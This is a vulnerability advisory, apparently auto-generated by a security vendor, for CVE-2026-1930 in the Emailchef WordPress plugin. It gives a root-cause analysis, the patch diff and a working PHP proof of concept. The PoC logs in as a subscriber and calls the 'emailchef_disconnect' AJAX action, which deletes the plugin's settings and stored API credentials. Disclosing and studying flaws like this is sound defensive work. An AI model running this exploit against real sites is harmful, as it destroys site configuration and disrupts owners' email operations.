Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 23, 2026

CVE-2026-1930: Emailchef <= 3.5.1 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Settings Deletion (emailchef)

CVE ID CVE-2026-1930
Plugin emailchef
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.5.1
Patched Version 3.5.2
Disclosed April 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1930: This vulnerability allows authenticated attackers with Subscriber-level access to delete all Emailchef plugin settings via the ’emailchef_disconnect’ AJAX action. The plugin versions up to and including 3.5.1 lack proper capability checks on the disconnect handler, enabling unauthorized modification of plugin configuration data.

Root Cause: The vulnerable function `page_options_ajax_disconnect()` in `/emailchef/admin/class-emailchef-admin.php` at lines 199-200 (vulnerable) performs two `delete_option()` calls without any authorization check. The function is registered as a WordPress AJAX action handler but contains no `current_user_can()` call. The diff shows the patched version adds a `check_ajax_referer()` call and a `current_user_can(‘manage_options’)` capability check before allowing the deletion. The function deletes both the `emailchef_settings` option and the `Emailchef_Forms_Option::OPTION_NAME` option.

Exploitation: An attacker with a valid WordPress subscriber account sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to ’emailchef_disconnect’. The vulnerable code executes the `page_options_ajax_disconnect()` function which immediately calls `delete_option()` without verifying the user has administrative privileges. No nonce is required in the vulnerable version, making exploitation trivial. Example payload: `action=emailchef_disconnect`.

Patch Analysis: The patch at line 206-210 of the diff adds two critical lines before the delete operations: `check_ajax_referer(’emailchef_ajax_nonce’, ‘nonce’)` validates the security nonce, and `if ( ! current_user_can(‘manage_options’) ) { wp_send_json_error(null, 403); }` restricts the operation to users with administrative capabilities. The same authorization pattern is also applied to `page_options_ajax_check_login()` and `page_forms_ajax_form()`. Additionally, the nonce is now properly localized into the JavaScript at line 78-80.

Impact: Successful exploitation deletes all Emailchef plugin settings, including API credentials (consumer key and secret), form configurations, and any connected account data. This causes the plugin to become non-functional until reconfigured by an administrator. The attacker gains the ability to disrupt email marketing operations, potentially causing lost form submissions and breaking Elementor, Contact Form 7, and Jetpack integrations. This is a medium-severity denial of service and data loss vulnerability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/emailchef/admin/class-emailchef-admin.php
+++ b/emailchef/admin/class-emailchef-admin.php
@@ -77,7 +77,8 @@
         }
         wp_enqueue_script( $this->plugin_name.'-admin' , plugin_dir_url( __FILE__ ) . 'js/emailchef-admin.js', array( 'jquery' ), $this->version, false );
         wp_localize_script($this->plugin_name.'-admin', 'emailchefI18n', [
-            'disconnect_account_confirm' => __('Are you sure you want to disconnect your account?', 'emailchef')
+            'disconnect_account_confirm' => __('Are you sure you want to disconnect your account?', 'emailchef'),
+            'nonce' => wp_create_nonce('emailchef_ajax_nonce'),
         ] );
     }

@@ -179,6 +180,12 @@
      */
     public function page_options_ajax_check_login() {

+        check_ajax_referer('emailchef_ajax_nonce', 'nonce');
+
+        if ( ! current_user_can('manage_options') ) {
+            wp_send_json_error(null, 403);
+        }
+
         $consumer_key     = sanitize_text_field($_POST['consumer_key']);
         $consumer_secret = sanitize_text_field($_POST['consumer_secret']);

@@ -199,6 +206,12 @@

     public function page_options_ajax_disconnect() {

+        check_ajax_referer('emailchef_ajax_nonce', 'nonce');
+
+        if ( ! current_user_can('manage_options') ) {
+            wp_send_json_error(null, 403);
+        }
+
         delete_option('emailchef_settings');
         delete_option(Emailchef_Forms_Option::OPTION_NAME);

@@ -212,6 +225,12 @@
      */
     public function page_forms_ajax_form() {
         global $wpdb; // this is how you get access to the database
+
+        check_ajax_referer('emailchef_ajax_nonce', 'nonce');
+
+        if ( ! current_user_can('manage_options') ) {
+            wp_send_json_error(null, 403);
+        }
         include_once plugin_dir_path( __FILE__ ) . '../includes/class-emailchef-forms-option.php';
         include_once plugin_dir_path( __FILE__ ) . '../includes/drivers/class-emailchef-drivers-forms.php';

--- a/emailchef/admin/partials/emailchef-page-forms-display.php
+++ b/emailchef/admin/partials/emailchef-page-forms-display.php
@@ -75,7 +75,7 @@
         if(!$totFormNum){
             ?>
             <div class="notice notice-warning notice-alt">
-                <p><?php _e("No forms found", "emailchef"); ?>/p>
+                <p><?php _e("No forms found", "emailchef"); ?></p>
             </div>
             <?php
         }
--- a/emailchef/emailchef.php
+++ b/emailchef/emailchef.php
@@ -8,7 +8,7 @@
  * Plugin Name:       Emailchef
  * Plugin URI:        https://emailchef.com/
  * Description:       Emailchef: the easiest way to create great newsletters. Sync form submissions automatically from Elementor, Contact Form 7, FSCF, and Jetpack.
- * Version:           3.5.1
+ * Version:           3.5.2
  * Author:            emailchef
  * Author URI:        https://www.emailchef.com
  * License:           GPL-2.0+

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1930 - Emailchef <= 3.5.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Settings Deletion

/**
 * This PoC demonstrates how an authenticated subscriber can delete all Emailchef plugin settings
 * by sending a POST request to the WordPress AJAX endpoint with the 'emailchef_disconnect' action.
 */

$target_url = 'http://example.com';  // Change this to the target WordPress site URL
$subscriber_username = 'subscriber';  // Change to valid subscriber credentials
$subscriber_password = 'password';    // Change to valid subscriber password

// Step 1: Authenticate as a subscriber and get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $subscriber_username,
    'pwd' => $subscriber_password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
curl_exec($ch);
curl_close($ch);

// Step 2: Send the disconnect AJAX request (no nonce required in vulnerable version)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = [
    'action' => 'emailchef_disconnect'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Check result
if ($http_code === 200) {
    echo "[+] Successfully deleted Emailchef plugin settings via subscriber account.n";
    echo "[+] Response: " . $response . "n";
} elseif ($http_code === 403) {
    echo "[-] Access denied (403). The site may already be patched.n";
} else {
    echo "[-] Unexpected response (HTTP " . $http_code . ").n";
}

// Clean up
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School